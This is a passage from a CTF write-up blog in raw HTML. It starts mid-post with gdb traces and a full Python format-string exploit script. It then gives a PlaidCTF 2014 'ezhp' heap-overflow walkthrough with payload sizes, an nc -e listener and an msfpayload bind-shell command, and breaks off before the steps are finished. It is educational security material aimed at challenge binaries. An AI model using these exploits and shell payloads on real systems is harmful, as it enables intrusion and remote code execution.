<span style="color: orange;"> 0x8048791:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x80484a0 <fflush plt=""></fflush></span></div>
<div>
<span style="color: orange;"> 0x8048796:<span class="Apple-tab-span" style="white-space: pre;"> </span>add esp,0x1c</span></div>
<div>
<span style="color: orange;"> 0x8048799:<span class="Apple-tab-span" style="white-space: pre;"> </span>ret </span></div>
<div>
<span style="color: orange;"> 0x804879a:<span class="Apple-tab-span" style="white-space: pre;"> </span>lea esi,[esi+0x0]</span></div>
<div>
<span style="color: orange;"> 0x80487a0:<span class="Apple-tab-span" style="white-space: pre;"> </span>sub esp,0x14</span></div>
<div>
<span style="color: orange;"> 0x80487a3:<span class="Apple-tab-span" style="white-space: pre;"> </span>push 0x8048f40</span></div>
<div>
<span style="color: orange;">--------------------------------------------------------------------------------</span></div>
<div>
<span style="color: orange;">0x0804878a in ?? ()</span></div>
<div>
<span style="color: orange;">gdb$ x/x <b>0x0804a138</b></span></div>
<div>
<span style="color: orange;">0x804a138:</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><b><span style="color: lime;">0x080487c0 Relocation offset overwritten</span></b></div>
<div>
<span style="color: orange;">gdb$ </span></div>
</div>
<div>
<br /></div>
<div>
So, if we keep stepping into the code as soon as a vfprintf call is made it will jump to our desired place:</div>
<div>
<br /></div>
<span style="color: orange;">gdb$ </span><br />
<span style="color: orange;">--------------------------------------------------------------------------[code]</span><br />
<span style="color: orange;">=> </span><span style="color: lime;">0x8048785:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x8048570 <<b>vfprintf@plt</b>> <b>Redirecting the flow here!!!</b></span><br />
<span style="color: orange;"> 0x804878a:<span class="Apple-tab-span" style="white-space: pre;"> </span>pop eax</span><br />
<span style="color: orange;"> 0x804878b:<span class="Apple-tab-span" style="white-space: pre;"> </span>push DWORD PTR ds:0x804a1a4</span><br />
<span style="color: orange;"> 0x8048791:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x80484a0 <fflush plt=""></fflush></span><br />
<span style="color: orange;"> 0x8048796:<span class="Apple-tab-span" style="white-space: pre;"> </span>add esp,0x1c</span><br />
<span style="color: orange;"> 0x8048799:<span class="Apple-tab-span" style="white-space: pre;"> </span>ret </span><br />
<span style="color: orange;"> 0x804879a:<span class="Apple-tab-span" style="white-space: pre;"> </span>lea esi,[esi+0x0]</span><br />
<span style="color: orange;"> 0x80487a0:<span class="Apple-tab-span" style="white-space: pre;"> </span>sub esp,0x14</span><br />
<span style="color: orange;">--------------------------------------------------------------------------------</span><br />
<span style="color: orange;">0x08048785 in ?? ()</span><br />
<span style="color: orange;">gdb$ si</span><br />
<span style="color: orange;">--------------------------------------------------------------------------[code]</span><br />
<span style="color: orange;">=> </span><span style="color: lime;">0x8048570 <vfprintf plt="">:<span class="Apple-tab-span" style="white-space: pre;"> </span><b>jmp DWORD PTR ds:0x804a138</b></vfprintf></span><br />
<span style="color: orange;"> 0x8048576 <vfprintf plt="">:<span class="Apple-tab-span" style="white-space: pre;"> </span>push 0x68</vfprintf></span><br />
<span style="color: orange;"> 0x804857b <vfprintf plt="">:<span class="Apple-tab-span" style="white-space: pre;"> </span>jmp 0x8048490</vfprintf></span><br />
<span style="color: orange;"> 0x8048580:<span class="Apple-tab-span" style="white-space: pre;"> </span>lea ecx,[esp+0x4]</span><br />
<span style="color: orange;"> 0x8048584:<span class="Apple-tab-span" style="white-space: pre;"> </span>and esp,0xfffffff0</span><br />
<span style="color: orange;"> 0x8048587:<span class="Apple-tab-span" style="white-space: pre;"> </span>xor eax,eax</span><br />
<span style="color: orange;"> 0x8048589:<span class="Apple-tab-span" style="white-space: pre;"> </span>push DWORD PTR [ecx-0x4]</span><br />
<span style="color: orange;"> 0x804858c:<span class="Apple-tab-span" style="white-space: pre;"> </span>push ebp</span><br />
<span style="color: orange;">--------------------------------------------------------------------------------</span><br />
<span style="color: orange;">0x08048570 in vfprintf@plt ()</span><br />
<span style="color: orange;">gdb$ si</span><br />
<span style="color: orange;">--------------------------------------------------------------------------[code]</span><br />
<span style="color: orange;">=> </span><b><span style="color: lime;">0x80487c0</span></b><span style="color: orange;">:</span><span class="Apple-tab-span" style="color: orange; white-space: pre;"> </span><span style="color: orange;">push ebx</span><br />
<span style="color: orange;"> 0x80487c1:<span class="Apple-tab-span" style="white-space: pre;"> </span>sub esp,0x10</span><br />
<span style="color: orange;"> 0x80487c4:<span class="Apple-tab-span" style="white-space: pre;"> </span>push 0x8049a60</span><br />
<span style="color: orange;"> 0x80487c9:<span class="Apple-tab-span" style="white-space: pre;"> </span>push 0x8049861</span><br />
<span style="color: orange;"> </span><b><span style="color: orange;"> </span><span style="color: lime;">0x80487ce:<span class="Apple-tab-span" style="white-space: pre;"> </span>call 0x8048540 <fopen plt=""> Open FLAG!!!</fopen></span></b><br />
<span style="color: orange;"> 0x80487d3:<span class="Apple-tab-span" style="white-space: pre;"> </span>add esp,0x10</span><br />
<span style="color: orange;"> 0x80487d6:<span class="Apple-tab-span" style="white-space: pre;"> </span>test eax,eax</span><br />
<span style="color: orange;"> 0x80487d8:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov ebx,eax</span><br />
<span style="color: orange;">--------------------------------------------------------------------------------</span><br />
<span style="color: orange;">0x080487c0 in ?? ()</span><br />
<span style="color: orange;">gdb$ </span><br />
<div>
<br /></div>
Hope you enjoy it!<br />
<br />
Exploit source code:<br />
<br />
<span style="color: lime;">#!/usr/bin/python</span><br />
<span style="color: lime;">#Author: Danux Mitnick</span><br />
<span style="color: lime;">#Date: Dec 5 2014</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">from socket import *</span><br />
<span style="color: lime;">from time import sleep</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">s=socket(AF_INET, SOCK_STREAM)</span><br />
<span style="color: lime;">s.connect(('localhost', 4444))</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">#Attach gdb here.</span><br />
<span style="color: lime;">raw_input()</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">print s.recv(1024)</span><br />
<span style="color: lime;">sleep(0.01)</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">cmd ="%\xa1\x04\x08\x38\xa1\x04\x08" + "%2044x%30$hn%32700x%31$hn"; #Overwritting vsprintf</span><br />
<span style="color: lime;">s.send(cmd+"\n")</span><br />
<span style="color: lime;">cont = 0</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">while 1:</span><br />
<span style="color: lime;"> sleep(0.01)</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;"> data = s.recv(1024)</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;"> print data</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;"> if "LEVEL" in data:</span><br />
<span style="color: lime;"> cmd = "h\n"</span><br />
<span style="color: lime;"> if "exhausted" in data:</span><br />
<span style="color: lime;"> cmd = "p\n"</span><br />
<span style="color: lime;"> if "flex" in data:</span><br />
<span style="color: lime;"> cmd = "h\n"</span><br />
<span style="color: lime;"> if "tense" in data:</span><br />
<span style="color: lime;"> cmd = "r\n"</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;"> if "again" in data:</span><br />
<span style="color: lime;"> cmd = "y\n"</span><br />
<span style="color: lime;"> if "name" in data:</span><br />
<span style="color: lime;"> cmd = "\x3a\n" </span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;"> if ">" in data:</span><br />
<span style="color: lime;"> if cmd:</span><br />
<span style="color: lime;"> s.send(cmd)</span><br />
<span style="color: lime;"> cmd = ""</span><br />
<span style="color: lime;">s.close()</span><br />
<div>
<br /></div>
<br />Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-83832611634940358752014-04-15T00:49:00.000-07:002014-12-03T04:18:39.836-08:00PlaidCTF 2014 ezhp: Heap Overflow ChallengeThis weekend I had the pleasure to participate in the CTF organized by PPP team, I have only two years playing and definitely the CTFs from these guys are the best, thanks!<br />
<br />
As usual, the idea of this blog is a 101 lesson when dealing with this kind of challenges, from Debugger setup to remote shell execution.<br />
<br />
I will describe a pwnable 200 called ezhp that I resolved, when dealing with pwnables normally you have two types: those easy to find the vulnerability but difficult to exploit it (the ones that you just sent multiple A's and get the segmentation fault write away) and the ones easy to exploit but hard or tricky to find the vulnerability.<br />
<br />
<span style="color: orange;">Introduction</span><br />
<br />
So, let's start, by opening the challenge you were presented with below message:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPNn4deqPr-GhXVQpwCAdZEGZmOxdRNKbNLAA69hFB-TAAvGobs3FjK41YAEjbJdgdrWa3PKLU-aNJHdMD_HnSKs5JdEQdfzy1ipr0M8G5p_U2Bu6HkcPlB-N7K4oM5k8rcKswD6Wl8TjI/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPNn4deqPr-GhXVQpwCAdZEGZmOxdRNKbNLAA69hFB-TAAvGobs3FjK41YAEjbJdgdrWa3PKLU-aNJHdMD_HnSKs5JdEQdfzy1ipr0M8G5p_U2Bu6HkcPlB-N7K4oM5k8rcKswD6Wl8TjI/s1600/3.png" height="87" width="320" /></a></div>
<br />
The quote <i>"Luckily when you travel back in time, you still get to use all your knowledge from the present"</i>, will make totally sense at the end of the blog. As usual, I am very bad with the hints so did not even read it.<br />
<br />
So, we are dealing with a 32-bit ELF Linux binary, good! we can just fire up backtrack and run it, displaying below info:<br />
<br />
Please enter one of the following:<br />
1 to add a note.<br />
2 to remove a note.<br />
3 to change a note.<br />
4 to print a note.<br />
5 to quit.<br />
Please choose an option.<br />
<br />
So, before doing any reversing, lets step into it with a Debugger to have a better understanding, I will explain two options for this, the first one is using IDA Debugger:<br />
<br />
Press F9 in IDA and select "Remote Linux Debugger", then configure the process options, below mine:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI841c34papR1gBHBlZ47HWWNcQhDvzPvZSgUH5jOgMX2F2KdVlM5OpIZY6wVldnehM1ObQf0NUEwgkBRSoENlUJ_HJ0QGkPFwwJxC8FpBdk41tLbM_xbt6wdAfc2hot1ygMbVYiUjnYp4/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI841c34papR1gBHBlZ47HWWNcQhDvzPvZSgUH5jOgMX2F2KdVlM5OpIZY6wVldnehM1ObQf0NUEwgkBRSoENlUJ_HJ0QGkPFwwJxC8FpBdk41tLbM_xbt6wdAfc2hot1ygMbVYiUjnYp4/s1600/4.png" height="180" width="320" /></a></div>
<br />
The next step is to copy the your linux_server binary from "dbgsrv" folder in IDA to your backtrack machine and run it:<br />
<br />
root@bt:~/IDA# ./linux_server<br />
IDA Linux 32-bit remote debug server(ST) v1.17. Hex-Rays (c) 2004-2013<br />
Listening on port #23946...<br />
<div>
<br /></div>
<div>
Set any breakpoint in IDA(F2) and click on Debugger->Start Process (F9). You are ready to start debugging and with the power of IDA to document everything as you go!</div>
<div>
<br /></div>
<div>
After a lot of debugging through all the options in the menu, I realized I was able to add notes with specific size and then write to them with a different size, causing a heap header overflow, I will explain this in a minute, I had certain experience dealing with heap headers overflow so kinda know where I was going. </div>
<div>
<br /></div>
<div>
<div>
Note: A chunk in this context is a space allocated in the heap and has a similar structure like this:</div>
<div>
<br /></div>
<div>
<div>
struct chunk {</div>
<div>
int prev_size; </div>
<div>
int size;</div>
<div>
struct chunk *fd;</div>
<div>
struct chunk *bk;</div>
<div>
};</div>
</div>
<div>
<br /></div>
<div>
Above structure is stored in the chunk header, where *fd points to the next chunk and *bk to the previous one in a <a href="http://en.wikipedia.org/wiki/Doubly_linked_list" target="_blank">double-linked list</a>.</div>
</div>
<div>
<br /></div>
<div>
Before going forward a fundamental knowledge must be known, when the heap allocates new chunks in memory, it decides where to put them based on the size requested, our goal is to request adjacent chunks so that a chunk filled up with more data than expected can overflow the next one, something like this:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxgqi2UsXg0pxuRcP6M_i7PY57-gMADO3vyVy59HOYoEkCOoORZb6y6tFEucixfq544z69-RkoldLwXYNVNLJmH3ycc23rROmITuXvmNqGoclMqwQAdmR8JfRfXvtP2VW4smaLTBKQEOGF/s1600/header.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxgqi2UsXg0pxuRcP6M_i7PY57-gMADO3vyVy59HOYoEkCOoORZb6y6tFEucixfq544z69-RkoldLwXYNVNLJmH3ycc23rROmITuXvmNqGoclMqwQAdmR8JfRfXvtP2VW4smaLTBKQEOGF/s1600/header.jpg" height="180" width="320" /></a></div>
<div>
<br /></div>
<div>
By looking add the code of Option 3 to change a note, we can see that the size of the data to include in the note is not restricted and therefore can overflow the current chunk overwriting also the next one:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvVDjj174BMB8mF93RQ1OZitV45cjizvN6PvAFaKBSiyg7ATNsFLV91ma9_EoECI4YsiqGXOrvYIrr3y0G16N6a4v_WkgxMAf6jb7wOgUkvgLi0HLDDBhwGRjZLkpVsGU_gkwQjpgDhTA5/s1600/inputdata.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvVDjj174BMB8mF93RQ1OZitV45cjizvN6PvAFaKBSiyg7ATNsFLV91ma9_EoECI4YsiqGXOrvYIrr3y0G16N6a4v_WkgxMAf6jb7wOgUkvgLi0HLDDBhwGRjZLkpVsGU_gkwQjpgDhTA5/s1600/inputdata.png" height="179" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
So, in order to overflow the header of next chunk I followed below steps:</div>
<div>
<br /></div>
<div>
<ol>
<li>Option1 : Add note (ID=0 assigned)</li>
<ul>
<li>Size=256</li>
</ul>
<li>Option2: Add note (ID=1 assigned)</li>
<ul>
<li>Size=256</li>
</ul>
<li>Option3: to change a note</li>
<ul>
<li>Please give me an id: 0</li>
<li>Please give me a size: 276</li>
</ul>
</ol>
<div>
Important details of above steps, first, the size chosen equal to 256 is needed in order to make sure to use the whole space of the chunk and force the heap allocator to allocate a new one when adding the second note, if let's say, we would have chosen a size of 10, since too much space remaining in current chunk, a second note added would have not allocated a new chunk.</div>
</div>
<div>
The second important point, the chunk header is 20 bytes long and is located right after the end of the previous one(if allocated with the right size), and therefore I need 256 bytes to get to the end of the written chunk plus 20 that will overwrite the header of the next one. So, after writing 276 A's to the note 1 and then trying to delete note 2 (which just got its header corrupted) I got a crash!</div>
<div>
</div>
<div>
<div>
Program received signal SIGSEGV, Segmentation fault.</div>
<div>
--------------------------------------------------------------------------[regs]</div>
<div>
<span style="color: lime;">EAX</span>: 0x<b><span style="color: yellow;">41414141</span></b> <span style="color: lime;"> EBX</span>: 0xB7FC7FF4 <span style="color: lime;"> ECX</span>: 0x00000001 <span style="color: lime;">EDX</span>: 0x<b>41414141</b> o d I t s z a P c </div>
<div>
<span style="color: lime;"> ESI</span>: 0x00000000 <span style="color: lime;">EDI</span>: 0x00000000 <span style="color: lime;">EBP</span>: 0xBFFFF478 <span style="color: lime;"> ESP</span>: 0xBFFFF468 <span style="color: lime;">EIP</span>: 0x0804873B</div>
<div>
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B</div>
<div>
--------------------------------------------------------------------------[code]</div>
<div>
=> 0x804873b:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov DWORD PTR [eax+0x4],edx</div>
<div>
0x804873e:<span class="Apple-tab-span" style="white-space: pre;"> </span>cmp DWORD PTR [ebp-0x4],0x0</div>
<div>
0x8048742:<span class="Apple-tab-span" style="white-space: pre;"> </span>je 0x804874d</div>
<div>
0x8048744:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov eax,DWORD PTR [ebp-0x4]</div>
<div>
0x8048747:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov edx,DWORD PTR [ebp-0x8]</div>
<div>
0x804874a:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov DWORD PTR [eax+0x8],edx</div>
<div>
0x804874d:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov eax,ds:0x804b060</div>
<div>
0x8048752:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov edx,DWORD PTR [eax+0x4]</div>
<div>
--------------------------------------------------------------------------------</div>
<div>
0x0804873b in ?? ()</div>
<div>
gdb$ </div>
</div>
<div>
<br /></div>
<div>
So, we know we just overflowed the header of the next chunk but what info was there, for the sake of this exercise, we will focus on three components only: size of the chunk, *fd and *bk, which are the 12 last bytes of the header (4 bytes each), that means we can influence their values, will come back to this later.</div>
<div>
<br /></div>
<div>
After confirming I was able to overflow the chunk(heap) header, I thought I was dealing with a typical malloc/free heap exploit challenge like<a href="http://www.win.tue.nl/~aeb/linux/hh/hh-11.html" target="_blank"> this</a>, and believe me I spent some hours going that route. After failing all my attempts I realized I gotta reverse the binary to understand exactly how the heap allocator was working, and below my findings.</div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Option 1: Adding a note</span></b></div>
<div>
<br /></div>
<div>
Every time a new chunk is added (Option 1), the allocated address is stored in a buffer (I called chunk_addresses[]) with a hardcoded address at 0x0804A060, the content of this buffer looks like:</div>
<div>
<br /></div>
<div>
[0] -> Address of note(chunk) 1</div>
<div>
[1] -> Address of note(chunk) 2</div>
<div>
[2] -> Address of note(chunk) 3</div>
<div>
<br /></div>
<div>
Where the array index represents the ID of the note added.</div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Option 3: Change a note</span></b></div>
<div>
<br /></div>
<div>
If I want to add content to the note 2, I need to choose Option 3 and provide the Id = 1, then the allocator will go to index (ID) inside the chunk_addresses[] buffer, get the address and start writing the content supplied by the attacker, wait a second!!!!! If I find a way to put my own address inside that buffer I can write anything anywhere, well, anywhere where the memory is writable of course. Below the scenario we want to hit, the note 2 is pointing to a different address.</div>
<div>
<br /></div>
<div>
<div>
[0] -> Address note 1</div>
<div>
[1] -> <my_address_anywhere> note 2</my_address_anywhere></div>
<div>
[2] -> Address of note 3</div>
</div>
<div>
<br /></div>
<div>
Forcing the deallocator to write data in any destination we want! Write down this, we will come back in a minute.</div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Option 2: remove a note</span></b></div>
<div>
<br /></div>
<div>
These allocated chunks are handled in a double-linked list, and therefore, anytime a chunk (node) is deleted a standard process takes place as described below:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf8a8OW1fBV92wgSLGep8qkMqlherQEv2_YJPMAd08HOnsE5EdI4exIaSTgP0GbgI2nweWcKh91sEYa7LywITn4FynzA4vfFoDImKeRJyn7Jr8V9s5OYCcubnzx-8R5VVZCQbBfa3yJ_W9/s1600/doublelinked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf8a8OW1fBV92wgSLGep8qkMqlherQEv2_YJPMAd08HOnsE5EdI4exIaSTgP0GbgI2nweWcKh91sEYa7LywITn4FynzA4vfFoDImKeRJyn7Jr8V9s5OYCcubnzx-8R5VVZCQbBfa3yJ_W9/s1600/doublelinked.jpg" height="180" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
In the image above the second note (chunk in the middle ID 1) is being deleted and therefore, the deallocator will do the next steps:</div>
<div>
<br /></div>
<div>
<ol>
<li>Get the address where ID1->bk and ID1->fd are pointing to of the chunk being deleted.</li>
<li>Since ID1->bk is pointing to previous chunk ID 0, go to that chunk and change the ID0->fd to point to chunk ID2.</li>
<li>Since ID1->fd is pointing to the next chunk ID 2, go to that chunk and change the ID2->bk to point to chunk ID0.</li>
</ol>
</div>
<div>
<br /></div>
<div>
Above steps can be seen inside Delete Option code:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjut17uq4L9mqh7CPWCJ58kZhjBfOa3bysjF8J9mqW2cTrrCXEPOf5U2x5LhYT5yYg6W6wPrq1XXIzEySlsUbl6oZ0wiyffIC2V4BuJpW4usNsm2Ws5A61D3LgXlPi3vb1vhwR8yqkG7_Tc/s1600/bkfd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjut17uq4L9mqh7CPWCJ58kZhjBfOa3bysjF8J9mqW2cTrrCXEPOf5U2x5LhYT5yYg6W6wPrq1XXIzEySlsUbl6oZ0wiyffIC2V4BuJpW4usNsm2Ws5A61D3LgXlPi3vb1vhwR8yqkG7_Tc/s1600/bkfd.png" height="313" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Pay speciall attention on the step 1, the allocator will read the content of the pointers *bk and *fd from the chunk to be deleted, and as we saw, we can overwrite its values setting them with the destination addresses that we want! </div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Written anything almost anywhere in memory</span></b></div>
<div>
<br /></div>
<div>
Now the next question is, what can we do with these findings? After a little bit of thinking, if we point ID2->bd to the address of the chunk_address[] buffer (see Option 3 section above), we can change its content and alter the list of allocated chunks, then we can call Option 3 to write our content to whichever address we just set. Below the scenario:</div>
<div>
<br /></div>
<div>
Create 3 notes, add content to note 2 and overflow it to alter headers of note 3 which will end up with below values:</div>
<div>
<br /></div>
<div>
*bk = 0x0804A060</div>
<div>
*fd = 0x0804A070</div>
<div>
<br /></div>
<div>
Then call delete option which will end up with below chunk_addresses buffer[] located at 0x0804A060:</div>
<div>
</div>
<div>
<div>
[0] -> Address note 1</div>
<div>
[1] -> 0x0804A070</div>
<div>
[2] -> Address of note 3</div>
</div>
<div>
<br /></div>
<div>
Then, we can call Option 3 to print the content of note 2 (index 1) and guess what? will write our data into the address pointing to 0x0804A070 ! </div>
<div>
Let's test if it works, and here the second way to debug the binary, when debugging with IDA, all he input entered at run time must be done via the Linux terminal which does not accept hexadecimal values so we need to create a script for that, but still we need to be able to debug the program, so, we will force the binary to listen into a socket on port 444 with below command:</div>
<div>
<br /></div>
<div>
<span style="color: lime;">socat tcp-listen:4444,fork exec:./ezph</span></div>
<div>
<br /></div>
<div>
We can also use netcat to acomplish the same thing:</div>
<div>
<br /></div>
<div>
<span style="color: lime;">while true; do nc -vv -l -p 4444 -e ezph; done</span></div>
<div>
<br /></div>
<div>
Now we can just run our script and connect to port 4444 to send our hexadecimal input. </div>
<div>
<br /></div>
<div>
<span style="color: lime;">s.connect(('192.168.74.123', 4444))</span></div>
<div>
<br /></div>
<div>
But we still need to debug it, so, since we are using python we can pause the script with "raw_input" function:</div>
<div>
<div>
<br /></div>
<div>
<span style="color: lime;">raw_input('Attach process with gdb here')</span></div>
</div>
<div>
<br /></div>
<div>
Then attach the process with gdb, set any breakpoint needed and let it continue:</div>
<div>
<br /></div>
<div>
<span style="color: lime;">>ps -fea|ezph</span></div>
<div>
<span style="color: lime;">>gdb attach <pid><pid><pid></pid></pid></pid></span></div>
<div>
<span style="color: lime;">>c</span></div>
<div>
<br /></div>
<div>
Now that everything is ready, let's run the exploit and check the chunk_headers buffer:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: lime;">gdb$ x/32x</span> <span style="color: orange;">804A070</span></div>
<div>
<span style="color: orange;">0x804a070</span>:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a080:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a090:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a0a0:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a0b0:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a0c0:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a0d0:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
<div>
0x804a0e0:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242<span class="Apple-tab-span" style="white-space: pre;"> </span>0x42424242</div>
</div>
<div>
<br /></div>
<div>
So, basically what just happened was, by deleting the note 3 (ID2), we altered the address of the note 2 (ID 1) inside the chunk_buffers[] array. and force it to point to 0x0804A070 as shown below:</div>
<div>
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrw86VmIhokdTI6ZqWimeB7X28NVfymoiCNLseObL0_4dCHtLBB_mW1HRMwLm44RqKD9-g_zSjc8eycdnQaQsUr83mw8h-eVzInh324KvNCkPbil9CemyAC3RvvCYV4rSqV8lJfDJ_Qi8J/s1600/chunkheaders.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrw86VmIhokdTI6ZqWimeB7X28NVfymoiCNLseObL0_4dCHtLBB_mW1HRMwLm44RqKD9-g_zSjc8eycdnQaQsUr83mw8h-eVzInh324KvNCkPbil9CemyAC3RvvCYV4rSqV8lJfDJ_Qi8J/s1600/chunkheaders.jpg" height="180" width="320" /></a></div>
</div>
<div>
<br /></div>
<div>
Great! Now we can place our shellcode in memory! But wait! how can we execute it!</div>
<div>
<br /></div>
<div>
Here is where option 4 comes into play.</div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Code Execution</span></b></div>
<div>
<br /></div>
<div>
The option 4 is to print the content of a note by calling puts function, so, since we can write anything anywhere, what if we overwrite the whole content of puts function with our shellcode, then print the note 1 which should call our shellcode! So, let's find puts address in the binary:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: lime;">readelf --relocs ezhp</span></div>
<div>
<br /></div>
<div>
Relocation section '.rel.dyn' at offset 0x348 contains 2 entries:</div>
<div>
Offset Info Type Sym.Value Sym. Name</div>
<div>
08049ff0 00000406 R_386_GLOB_DAT 00000000 __gmon_start__</div>
<div>
0804a040 00000905 R_386_COPY 0804a040 stdout</div>
<div>
<br /></div>
<div>
Relocation section '.rel.plt' at offset 0x358 contains 8 entries:</div>
<div>
Offset Info Type Sym.Value Sym. Name</div>
<div>
0804a000 00000107 R_386_JUMP_SLOT 00000000 read</div>
<div>
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush</div>
<div>
<b><span style="color: lime;">0804a008</span></b> 00000307 R_386_JUMP_SLOT 00000000 <span style="color: lime;">puts</span></div>
</div>
<div>
<br /></div>
<div>
We find it at 0x8004a008, just an small detail to keep in mind, this address is a pointer to a pointer, which means, the first 4 bytes of our controlled buffer (shellcode) must be a valid address, which is going to be 4 bytes ahead where our shellcode starts 0x8004a00C. Below would be the execution flow:</div>
<div>
<br /></div>
<div>
Print note -> [0x8004a008]-> [0x8004a00C]-><shellcode></shellcode></div>
<div>
<br /></div>
<div>
So, the last step is to generate our shellcode, we can use metasploit to do that:</div>
<div>
<br /></div>
<div>
<span style="color: lime;">>msfpayload linux/x86/shell_bind_tcp LPORT=8888 P</span></div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Connecting the dots</span></b></div>
<div>
<br /></div>
<div>
And finally, below is the sequence to get a remote shell:</div>
<div>
<ol>
<li>Option 1: Add a note</li>
<ul>
<li>Size:256</li>
</ul>
<li>Option 1: Add a note</li>
<ul>
<li>Size:256</li>
</ul>
<li>Option 1: Add a note</li>
<ul>
<li>Size:256</li>
</ul>
<li>Option 3: Change a note</li>
<ul>
<li>ID=1</li>
<li>Size:276</li>
<li>Data Entered to overflow next chunk (ID2)</li>
</ul>
<li>Option 2: Remove a note:</li>
<ul>
